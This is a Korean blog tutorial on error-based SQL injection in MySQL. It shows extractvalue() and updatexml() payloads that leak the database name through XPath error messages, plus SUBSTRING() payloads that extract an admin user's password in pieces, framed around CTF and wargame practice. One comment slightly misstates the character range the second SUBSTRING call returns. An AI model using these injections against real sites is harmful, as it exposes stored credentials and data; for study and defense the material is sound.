Error Based SQL Injection
에러 베이스 SQLi는 쿼리에 고의로 에러를 일으키고, 그 에러 메세지에 악성 쿼리를 넣어 데이터베이스의 정보를 노출 시키는 공격 기법입니다.
쿼리 실패시 에러 메세지가 페이지에 출력될 때 사용 할 수 있으며 결과가 바로 보이기에 빠르고 직관적인 공격 방식입니다.
에러 베이스 공격에 사용되는 주요 함수
1. extractvalue()
- XML에서 XPath 쿼리를 추출하는 함수입니다.
- 이때 잘못된 XPath를 주면 에러를 반환합니다.
extractvalue(xml_fragment, xpath_expresstion) #문법
SELECT extractvalue(1, concat((SELECT database()))); #예시 구문, concat()는 여러 문자열을 이어붙여 하나의 문자열로 만드는 함수 입니다.
XPATH syntax error: '데이터베이스이름' #예시 결과
2. updatexml()
- XML 문서의 특정 노드를 바꾸는 함수입니다.
- extractvalue()처럼 잘못된 XPath를 넣으면 에러를 반환합니다.
updatexml(xml_fragment, xpath_expression, new_value) #문법
SELECT updatexml(1, concat((SELECT database())), 1); #예시 구문
XPATH syntax error: '데이터베이스이름' #예시 결과
에러 메세지가 전부 출력되지 않는 경우
워게임이나 CTF의 flag를 출력할 때 길이 때문에 전부 출력되지 않는 상황이 종종 발생합니다.
DB의 버전이나 함수에 따라 출력되는 길이가 바뀌게됩니다.
때문에 이럴때 substring()을 이용하여 에러 메세지를 나누어 출력 할 수 있습니다.
extractvalue(1, concat(SUBSTRING((SELECT pwd FROM user WHERE uid='admin'),1,16))) #에러 메세지의 1 ~ 16글자를 출력
extractvalue(1, concat(SUBSTRING((SELECT pwd FROM user WHERE uid='admin'),17,32))) #에러 메세지의 17 ~ 32글자를 출력'보안 > 이론 정리' 카테고리의 다른 글
| Base64에 대한 여러가지 (0) | 2025.07.17 |
|---|---|
| curl의 사용법과 보안 활용 정리 (0) | 2025.07.09 |
| HTTP 요청의 구조와 헤더의 역할 (0) | 2025.07.07 |
| 웹 해킹 - Command Injection (0) | 2025.04.30 |
| 웹 해킹 - SQL Injection (0) | 2025.04.29 |